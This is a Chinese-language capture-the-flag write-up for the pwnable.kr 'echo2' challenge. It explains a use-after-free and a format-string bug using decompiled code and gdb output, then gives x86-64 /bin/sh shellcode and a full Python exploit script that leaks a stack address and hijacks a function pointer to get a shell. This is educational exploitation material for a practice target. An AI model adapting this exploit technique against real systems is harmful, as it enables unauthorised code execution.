Writeup: pwnable.kr "echo2"
pwnable.kr 上的 echo2 是一个存在 UAF & FSB 漏洞的题目。
通过 IDA F5 得到源码，列出几个关键函数：
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
void *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
v3 = (int *)v7;
__isoc99_scanf(4197406LL, v7);
v4 = o;
*(_QWORD *)o = v7[0];
*((_QWORD *)v4 + 1) = v7[1];
*((_QWORD *)v4 + 2) = v7[2];
id = LODWORD(v7[0]);
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v6 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf(4197496LL, &v6);
getchar();
if ( (unsigned int)v6 > 3 )
break;
((void (__fastcall *)(signed __int64, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])(4197496LL, &v6);
}
if ( v6 == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)", &v6);
v6 = getchar();
}
while ( v6 != 121 );
puts("bye");
return 0;
}
echo3
__int64 echo3()
{
char *s; // ST08_8@1
(*(void (__fastcall **)(void *))((void (__fastcall **)(_QWORD))o + 3))(o);
s = (char *)malloc(0x20uLL);
get_input(s, 32LL);
puts(s);
free(s);
(*(void (__fastcall **)(void *, signed __int64))((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 32LL);
return 0LL;
}
cleanup
void cleanup()
{
free(o);
}
分析主函数流程，可知触发 UAF 的流程为：
- 选择 4，进入 cleanup 函数， free 变量 o
- 选择 n，取消退出，这时候的 o 变量已经被 free
- 选择 3，输入 0x20 个字符
- 输入的内容被分配到原来变量 o 的地址上，覆盖了 goodbye 函数的地址，触发 UAF
现在有一个任意 call 了，但是暂时并没有什么卵用。因为并不能 call 一个 system，或者做一些奇怪的事情。
然而我充满经♂验的大锐锐说可以在 name 里写 shellcode。
看这一句：
0x40099e <main+142>: mov rsi,rdx
0x4009a1 <main+145>: mov rdi,rax
=> 0x4009a4 <main+148>: mov eax,0x0
0x4009a9 <main+153>: call 0x4006a0 <__isoc99_scanf@plt>
看一下 rdi：
gdb-peda$ x/10s $rdi
0x400c1e: "%24s"
有 24 个字节的输入空间，然而好像 IDA 并没有反编译出来这个，所以被蒙蔽了/w\ .. 24 个字节足够放下 shellcode 了，由于是 scanf，不能出现 \x0a，\x0b，所以找一个符合条件的 shellcode：https://www.exploit-db.com/exploits/36858/
#include <stdio.h>
#include <string.h>
int
main(void)
{
char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";
printf("strlen(shellcode)=%d\n", strlen(shellcode));
((void (*)(void))shellcode)();
return 0;
}
现在就差 leak 出 name 在栈上的地址了。
由于 echo2 函数有一个 FSB，所以可以通过 FSB 来 leak。
leak 出来的地址为 0x7ffffffffe6b0，在栈上寻找我们 name 的内容，地址为 0x7fffffffe6f0，正好为 0x40 个字节的偏移量。
gdb-peda$ x/10b 0x7fffffffe6b0 + 0x40
0x7fffffffe6f0: 'a' <repeats 14 times>
0x7fffffffe6ff: ""
0x7fffffffe700: "\360\347\377\377\377\177"
0x7fffffffe707: ""
0x7fffffffe708: ""
0x7fffffffe709: ""
0x7fffffffe70a: ""
0x7fffffffe70b: ""
0x7fffffffe70c: ""
0x7fffffffe70d: ""
所以现在我们可以执行任意代码了。
重新梳理流程：
- 输入 name 时写 shellcode
- 通过 FSB leak rsp，接着加上 0x40 字节的偏移量，到 shellcode 的地址上
- 通过 UAF，覆盖 goodbye 的地址为 shellcode 的地址
- 得到 shell，大成功(๑•̀ㅂ•́)و✧
最终 exploit 为：
import sys
import socket
from zio import *
shellcode = ""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
io = zio(('pwnable.kr', 9011), timeout=9999999)
#io = zio('./echo2' ,timeout=9999999)
io.read_until(':')
io.writeline(shellcode)
io.read_until('> ')
io.writeline('2')
io.read_until('\n')
io.writeline('%3$x')
data = io.read_until('\n')
name_addr = int('0x7fff%s' % data, 16) + 0x40
print '-' * 10, data
io.read_until('> ')
io.writeline('4')
io.read_until(')')
io.writeline('n')
io.read_until('> ')
io.writeline('3')
io.read_until('\n')
io.writeline('aaaaaaaa' + 'bbbbbbbb' + 'cccccccc' + l64(name_addr))
io.read_until('> ')
io.writeline('2')
io.read_until('\n')
io.interact()
